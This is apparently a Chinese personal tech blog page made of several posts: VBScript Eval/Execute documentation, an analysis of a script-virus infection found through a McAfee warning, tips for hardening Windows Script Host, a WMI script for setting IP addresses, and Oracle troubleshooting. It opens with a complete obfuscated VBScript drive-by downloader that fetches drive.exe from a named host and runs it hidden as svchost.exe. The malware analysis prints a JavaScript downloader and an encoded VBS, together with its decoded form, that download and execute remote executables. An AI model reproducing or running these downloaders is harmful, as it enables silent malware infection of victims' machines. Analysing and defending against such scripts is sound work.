m3="clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
m4="Microsoft.XMLHTTP"
m5="Shell.Application"
m6="Scripti"&"ng.Fil"&"eSystemObject"
Set xasonc = document.createElement(m1)
xason = "http://www.windown.com.cn/drive.exe"
xasonc.setAttribute m2, m3
xasoni=m4
Set xasond = xasonc.CreateObject(xasoni,"")
yhangf="Ado"
yhangg="db."
yhangh="Str"
yhangi="eam"
xasonf=yhangf&yhangg&yhangh&yhangi
xasong=xasonf
set xasona = xasonc.createobject(xasong,"")
xasona.type = 1
xasonh="G"&"E"&"T"
xasond.Open xasonh, xason, False
xasond.Send
xason9="svchost.exe"
set xasonb = xasonc.createobject(m6,"")
set xasone = xasonb.GetSpecialFolder(2)
xasona.open
xason8="xasona.BuildPath(xasona,xason8)"
xason7="xasonb.BuildPath(xasonb,xason7)"
xason6="xasonc.BuildPath(xasond,xason6)"
xason5="xasond.BuildPath(xasonf,xason5)"
xason4="xasone.BuildPath(xasong,xason4)"
xason3="xasonf.BuildPath(xasonh,xason4)"
xason2="xasong.BuildPath(xasoni,xason3)"
xason1="xasonh.BuildPath(xasong,xason1)"
xason0="xasoni.BuildPath(xasonk,xason0)"
xason9= xasonb.BuildPath(xasone,xason9)
xasona.write xasond.responseBody
xasona.savetofile xason9,2
xasona.close
set xasone = xasonc.createobject(m5,"")
xasone.ShellExecute xason9,BBS,BBS,"o"&"p"&"e"&"n",0
</script>
20070119 vbs eval execute
WWW.SHENGFANG.ORG
Execute 语句
执行一个或多个指定的语句。
Execute statements
所需要的 statements 参数是一个字符串表达式，其中包含一个或多个要执行的语句。 如果要在 statements 参数中包含多条语句，应使用分号或嵌入的分行将其分隔开。
说明
在 VBScript 中，x = y 可以有两种解释。首先是作为赋值语句，将 y 的值赋予 x。其次是作为表达式，测试x 和 y 的值是否相等。如果相等，结果为 True；否则，结果为 False。Execute 语句总是使用第一种解释，而 Eval 方法总是使用第二种。
注意 在 Microsoft(R) Visual Basic Scripting Edition 中并不存在赋值与比较之间的混淆，因为赋值运算符(=)与比较运算符(==)是不同的。
调用 Execute 语句的上下文确定了要运行的代码可以使用的对象和变量。作用域内的对象和变量是 Execute 语句中运行的代码可以使用的。不过，必须明白的一点是，如果被执行的代码创建了过程，那么该过程将不会继承它所在的过程的作用域。
与其他过程类似，新的过程的作用域是全局的，它继承了全局作用域的全部东西。与其他过程不同的是，它的上下文不是全局作用域，因此它只能在发生 Execute 语句的过程内的上下文中执行。不过，如果相同的 Execute 语句是在过程之外(例如在全局作用域)的作用域中被调用，那么它将不仅继承全局作用域中的所有东西，而且它还可以在任何地方被调用，因为它的上下文是全局的。下面的例子说明了这种特点：
Dim X \’ 在全局作用域中声明 X。
X = "Global" \’ 将全局的 X 赋值。
Sub Proc1 \’ 声明过程。
Dim X \’ 在局部作用域中声明 X。
X = "Local" \’ 对局部的 X 赋值。
\’ 此处的 Execute 语句建立了一个过程，
\’ 在调用该过程时它将打印 X。
\’ 它打印的将是全局 X，因为 Proc2
\’ 继承了全局作用域中的一切。
Execute "Sub Proc2: Print X: End Sub"
Print Eval("X") \’ 打印本地 X。
Proc2 \’ 在 Proc1 的作用域中调用 Proc2。
End Sub
Proc2 \’ 本行将导致一个错误，因为
\’ Proc2 在 Proc1 之外是不可使用的。
Proc1 \’ 调用 Proc1。
Execute "Sub Proc2: Print X: End Sub"
Proc2 \’ 这句话可以成功，因为 Proc2
\’ 现在是全局可用的。下面的例子显示了如何将 Execute 语句改写，免于将整个过程包含在引号内：
S = "Sub Proc2" & vbCrLf
S = S & " Print X" & vbCrLf
S = S & "End Sub"
Execute S
Eval 函数
计算一个表达式的值并返回结果。
[result = ]Eval(expression)
参数
result
可选项。 是一个变量，用于接受返回的结果。如果未指定结果，应考虑使用 Execute 语句代替。
expression
必选项。可以是包含任何有效 VBScript 表达式的字符串。
说明
在 VBScript 中，x = y 可以有两种解释。第一种方式是赋值语句，将 y 的值赋予 x。第二种解释是测试 x 和 y 是否相等。如果相等，result 为 True；否则 result 为 False。Eval 方法总是采用第二种解释，而 Execute 语句总是采用第一种。
注意 在Microsoft(R) Visual Basic Scripting Edition 中不存在这种比较与赋值的混淆，因为赋值运算符(=)与比较运算符 (==)不同。
下面的例子说明了 Eval 函数的用法：
Sub GuessANumber
Dim Guess, RndNum
RndNum = Int((100) * Rnd(1) + 1)
Guess = CInt(InputBox("Enter your guess:",,0))
Do
If Eval("Guess = RndNum") Then
MsgBox "祝贺你！猜对了！"
Exit Sub
Else
Guess = CInt(InputBox("对不起，请再试一次",,0))
End If
Loop Until Guess = 0
End Sub
20070119 vbs 木马 病毒
WWW.SHENGFANG.ORG
MCAFEE杀毒软件警告：
2006-12-16 0:14:24 1092 SF\\shengfang C:\\WINDOWS\\System32\\WScript.exe G:\\TEMP\\win.vbs 防间谍程序最大保护:禁止从 Temp 文件夹执行脚本
2006-12-16 1:27:57 1027 SF\\shengfang C:\\WINDOWS\\Explorer.EXE C:\\mmq[1].sssssssss VBS/Psyme ()
看看JS的代码
function gn(n) &leftsign; var number = Math.random()*n; return \’~tmp\’+Math.round(number)+\’.exe\’; &rightsign; try &leftsign; dl=\’http://58. xx 215.75.xx 141/cj.exe\’; var df=document.createElement("object"); df.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"); var x=df.CreateObject("Microsoft.X"+"M"+"L"+"H"+"T"+"T"+"P",""); var S=df.CreateObject("Adodb.Stream",""); S.type=1; x.open("GET", dl,0); x.send(); fname1=gn(10000); var F=df.CreateObject("Scripting.FileSystemObject",""); var tmp=F.GetSpecialFolder(0); fname1= F.BuildPath(tmp,fname1); S.Open();S.Write(x.responseBody); S.SaveToFile(fname1,2); S.Close(); var Q=df.CreateObject("Shell.Application",""); exp1=F.BuildPath(tmp+\’\\\\system32\’,\’cmd.exe\’); Q.ShellExecute(exp1,\’ /c \’+fname1,"","open",0); &rightsign; catch(i) &leftsign; i=1; &rightsign;
下载文件看看
CloseHandle
CreateFileA
ExitProcess
GetProcAddress
GetTempPathA
LoadLibraryA
VirtualAlloc
VirtualFree
VirtualProtect
WriteFile
看看WIN.VBS的代码
function rechange(k)
s=Split(k,",")
t=""
For i = 0 To UBound(s)
t=t+Chr(eval(s(i)))
Next
rechange=t
End Function
t="79,110,32,69,114,114,111,114,32,82,101,115,117,109,101,32,78,101,120,116,13,10,83,101,116,32,84,73,110,103,104,103,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,77,34,38,34,115,120,34,38,34,109,34,38,34,108,34,38,34,50,34,38,34,46,88,34,38,34,77,34,38,34,76,34,38,34,72,34,38,34,84,34,38,34,84,34,38,34,80,34,41,13,10,83,101,116,32,89,84,78,72,114,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,115,34,38,34,99,114,105,34,38,34,112,34,38,34,116,46,83,104,34,38,34,101,108,34,38,34,108,34,41,32,13,10,84,73,110,103,104,103,46,79,112,101,110,32,34,71,34,38,34,69,84,34,44,34,104,116,116,112,58,47,47,119,119,119,46,49,54,51,111,111,111,46,99,111,109,47,97,47,97,46,101,120,101,34,44,48,32,13,10,84,73,110,103,104,103,46,83,101,110,100,40,41,13,10,83,101,116,32,71,113,117,101,114,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,65,34,38,34,68,34,38,34,79,34,38,34,68,34,38,34,66,46,83,34,38,34,116,34,38,34,114,34,38,34,101,97,34,38,34,109,34,41,13,10,71,113,117,101,114,46,84,121,112,101,32,61,32,49,13,10,71,113,117,101,114,46,77,111,100,101,32,61,32,51,13,10,71,113,117,101,114,46,79,112,101,110,40,41,32,13,10,71,113,117,101,114,46,87,114,105,116,101,40,84,73,110,103,104,103,46,114,101,115,112,111,110,115,101,66,111,100,121,41,13,10,71,113,117,101,114,46,83,97,118,101,84,111,70,105,108,101,32,34,99,58,92,99,111,110,102,105,103,46,98,97,116,34,44,50,32,13,10,119,115,99,114,105,112,116,46,115,108,101,101,112,32,49,48,32,13,10,89,84,78,72,114,46,82,117,110,32,40,34,99,58,92,99,111,110,102,105,103,46,98,97,116,34,41"
i=t
execute(rechange(I))
VB打印出来
On Error Resume Next
Set TInghg = CreateObject("M"&"sx"&"m"&"l"&"2"&".X"&"M"&"L"&"H"&"T"&"T"&"P")
Set YTNHr = CreateObject("Ws"&"cri"&"p"&"t.Sh"&"el"&"l")
TInghg.Open "G"&"ET","http://www. xx 163ooo xx .com/a/a.exe",0
TInghg.Send()
Set Gquer = CreateObject("A"&"D"&"O"&"D"&"B.S"&"t"&"r"&"ea"&"m")
Gquer.Typ = 1
Gquer.Mode = 3
Gquer.Open()
Gquer.Write(TInghg.responseBody)
Gquer.SaveToFile "c:\\config.bat",2
wscript.sleep 10
YTNHr.Run ("c:\\config.bat")
下载A.EXE 报告
C:\\kkkkkkkkk\\a.exe.jc!\\a.exe.jc! Generic Downloader.d ()
VBS代码
1）禁用文件系统对象FileSystemObject
方法：用regsvr32 scrrun.dll /u这条命令就可以禁止文件系统对象。其中regsvr32是Windows\\System下的可执行文件。或者直接查找scrrun.dll文件删除或者改名。
还有一种方法就是在注册表中HKEY_CLASSES_ROOT\\CLSID\\下找到一个主键&leftsign;0D43FE01-F093-11CF-8940-00A0C9054228&rightsign;的项，咔嚓即可。
2）卸载Windows Scripting Host
在Windows 98中（NT 4.0以上同理），打开［控制面板］→［添加/删除程序］→［Windows安装程序］→［附件］，取消“Windows Scripting Host”一项。
和上面的方法一样，在注册表中HKEY_CLASSES_ROOT\\CLSID\\下找到一个主键&leftsign;F935DC22-1CF0-11D0-ADB9-00C04FD58A0B&rightsign;的项，咔嚓。
3）删除VBS、VBE、JS、JSE文件后缀名与应用程序的映射
点击［我的电脑］→［查看］→［文件夹选项］→［文件类型］，然后删除VBS、VBE、JS、JSE文件后缀名与应用程序的映射。
4）在Windows目录中，找到WScript.exe，更改名称或者删除，如果你觉得以后有机会用到的话，最好更改名称好了，当然以后也可以重新装上。
5）要彻底防治VBS网络蠕虫病毒，还需设置一下你的浏览器。我们首先打开浏览器，单击菜单栏里“Internet 选项”安全选项卡里的［自定义级别］按钮。把“ActiveX控件及插件”的一切设为禁用，这样就不怕了。呵呵，譬如新欢乐时光的那个ActiveX组件如果不能运行，网络传播这项功能就玩完了。
6）禁止OE的自动收发邮件功能
7）由于蠕虫病毒大多利用文件扩展名作文章，所以要防范它就不要隐藏系统中已知文件类型的扩展名。Windows默认的是“隐藏已知文件类型的扩展名称”，将其修改为显示所有文件类型的扩展名称。
8）将系统的网络连接的安全级别设置至少为“中等”，它可以在一定程度上预防某些有害的Java程序或者某些ActiveX组件对计算机的侵害。
1）绝大部分VBS脚本病毒运行的时候需要用到一个对象：FileSystemObject
2）VBScript代码是通过Windows Script Host来解释执行的。
3）VBS脚本病毒的运行需要其关联程序Wscript.exe的支持。
4）通过网页传播的病毒需要ActiveX的支持
5）通过Email传播的病毒需要OE的自动发送邮件功能支持，但是绝大部分病毒都是以Email为主要传播方式的。
脚本 VBS 配置 IP
由于工作需要，经常需要切换IP地址，以前有两张网卡，现在只有一张了，经常改的时候报告 www.yippeesoft.com
您为这个网络适配器输入的 IP 地址 192 .168 .3 .137 已经分配给另一个适配器 \’AMD PCNET Family PCI
Ethernet Adapter\’ 。 \’AMD PCNET Family PCI Ethernet Adapter\’ 从网络文件夹中隐藏 ， 因为它本身并没
有在计算机中存在 ， 或是个不工作的旧适配器 。 如果相同的地址分配给两个适配器 ， 并且它们都处于活动状
态 ， 只有一个会使用这个地址 。 这会造成不正确的系统配置 。
5 %
您想从高级对话框的 IP 地址列表输入不同的 IP 地址给这个适配器吗 ?
非常讨厌，所以上网到MSDN找了个VBS www.yippeesoft.com
TechNet 主页 > 脚本中心 > 脚本分类 > 网络
http://www.microsoft.com/china/technet/community/scriptcenter/network/scrnet01.mspx
配置静态 IP 地址 更新日期： 2003年02月17日
描述 www.yippeesoft.com
c:\\>ipconfig /all
Windows IP Configuration
Host Name . . . . . . . . . . . . : sf
Primary Dns Suffix . . . . . . . :
Node Type . . . . . . . . . . . . : Unknown
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
Ethernet adapter MAC:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Macronix MX98715-Based Ethernet Adap
ter (Generic)
Physical Address. . . . . . . . . : 00-D0-F8-00-55-F9
Dhcp Enabled. . . . . . . . . . . : No
IP Address. . . . . . . . . . . . : 192.168.12.235
Subnet Mask . . . . . . . . . . . : 255.255.255.0
IP Address. . . . . . . . . . . . : 192.168.3.137
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.3.1
DNS Servers . . . . . . . . . . . : 1.2.3.4
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\\\" & strComputer & "\\root\\cimv2")
Set colNetAdapters = objWMIService.ExecQuery _
("Select * from Win32_NetworkAdapterConfiguration where IPEnabled=TRUE")
strIPAddress = Array("192.168.3.137","192.168.12.235")
strSubnetMask = Array("255.255.255.0","255.255.255.0")
strGateway = Array("192.168.3.1")
strGatewayMetric = Array(1)
For Each objNetAdapter in colNetAdapters
errEnable = objNetAdapter.EnableStatic(strIPAddress, strSubnetMask)
errGateways = objNetAdapter.SetGateways(strGateway, strGatewaymetric)
If errEnable = 0 Then
WScript.Echo "The IP 192.168.3.137 address has been changed."
Else
WScript.Echo "The IP 192.168.3.137 address could not be changed."
End If
Next
For online peer support, join the microsoft.public.windows.server.scripting community on the msnews.microsoft.com news server. To provide feedback or report bugs in sample scripts or the Scripting Guide, please contact Microsoft TechNet.
免责声明 www.yippeesoft.com
以上示例脚本不会获得由任何Microsoft标准支持计划或服务项目所提供的支持。这些示例脚本在提交时并未附带任何形式的保证承诺。不仅如此，Microsoft公司还不加限定条件地针对所有默许保证责任加以进一步否认，这其中便包括出于特定目的而针对适销性或适用性所承担的默许保证责任。因使用或执行上述示例脚本及文档资料而导致的全部风险均由读者自行承担。在任何情况下，Microsoft公司及其创作人员、亦或与上述脚本的创意、编制及提交有关的任何人员均无须针对因使用或无法使用上述示例脚本或文档资料所导致的任何损害（其中包括，企业利润损失、经营中断、业务信息丢失及其它经济损失）承担责任；即使Microsoft公司已被告知造成这种损害可能性，上述免责条款依然适用。
搞定，也没有那个提示了，不过看看这个 免责声明 ，真是够厉害的！ 应该算霸王条款了。
另外脚本中心还 Scripting Languages Available in the Script Center www.yippeesoft.com
http://www.microsoft.com/technet/scriptcenter/scripts/language.mspx
• Perl Sample scripts written in Perl, a scripting language delivered by ActiveState for use on Linux, Solaris and Windows platforms.
• Python Sample scripts written in Python, a scripting language delivered by ActiveState for use on Linux, Solaris and Windows platforms.
• JScript Sample scripts written in JScript, Microsoft’s implementation of the ECMA 262 language specification (ECMAScript Edition 3).
• VBScript Sample scripts written in Microsoft’s VBScript, the language most commonly used when writing scripts that perform system administration tasks.
• Kixtart Sample scripts written in Kixtart, a logon script processor and enhanced batch scripting language for computers running Windows XP, Windows 2000, Windows NT or Windows 9x.
• Object REXX Sample scripts written in IBM’s Object REXX, a language that provides open interfaces to many system functions and to other applications, such as IBM\’s DB2 for relational databases, TCP/IP sockets for communications, and C for programming.
PERL PYTHON JSCRIPT VBSCRIPT还听过，后面两个就比较冷门了。 www.yippeesoft.com
1、在微软站点上转悠，居然看到一个比较有趣的专栏：
脚本中心集合了为 Windows 2000、Windows XP 和 Windows Server 2003 编写的最佳脚本示例。这些脚本根据它们的用途进行分类。另外，这里还有一些关于脚本编写工具和资源的信息。
http://www.microsoft.com/china/technet/community/scriptcenter/default.mspx
其实很多小功能，可能专门写个程序会觉得很麻烦，但是手工处理同样也会觉得很麻烦，这时候，脚本应该就会很有作用了。例如自动配置客户端上的 TCP/IP 网络 本文向系统管理员介绍，如何使用 Windows 脚本技术来自动完成 TCP/IP 网络客户端管理所涉及的多种常见任务
执行方法 Cscript.exe sf.vbs 不过好像帮助信息不够多，例如我的一个0×80041021错误就一下子不好解决了
当我想下载:用于 Windows 2003 和 的 Windows Script 5.6
该下载内容将安装 Microsoft? Windows? Script，其中包含 Visual Basic? Script Edition (VBScript.)5.6 版、JScript? 5.6 版、Windows Script Components、Windows Script Host 5.6 和 Windows Script Runtime 5.6 版。
结果：要求验证
此下载可供运行 正版 Microsoft Windows的用户运行。请单击 继续 开始进行 Windows 验证。
下载了一个 GenuineCheck.exe 生成了一个校验码 输入 OK，可以下载 How to pass wga简单通过WINDOWS正版认证
今天突然发现 LINUX上的ORACLE居然不能连接 ORA-12541 TNS:没有监听器 TNS:no listener
我用lsnrctl start 命令，提示
failed to start service,error 3
TNS-12536: TNS :操作可能阻塞
TNS-12560: TNS: 协议适配器错误
TNS-00506：操作可能阻塞
32-bit windows Error:997:unknown error
一怒之下，REBOOT了事
结果是 在试图启动数据库的时候,Oracle报告下列错误：
ERROR:
ORA-01034 ,ORACLE NOT AVAILABLY
ORA-27101 Shared memory realm does not exist
ORA-01034 ORACLE not available
sqlplus /nolog
connect / as sysdba
startup
启动数据库终于OK了，好像是因为机器被我重新启动过的原因？
标签：linux, oracle, vb, vbs, win, windows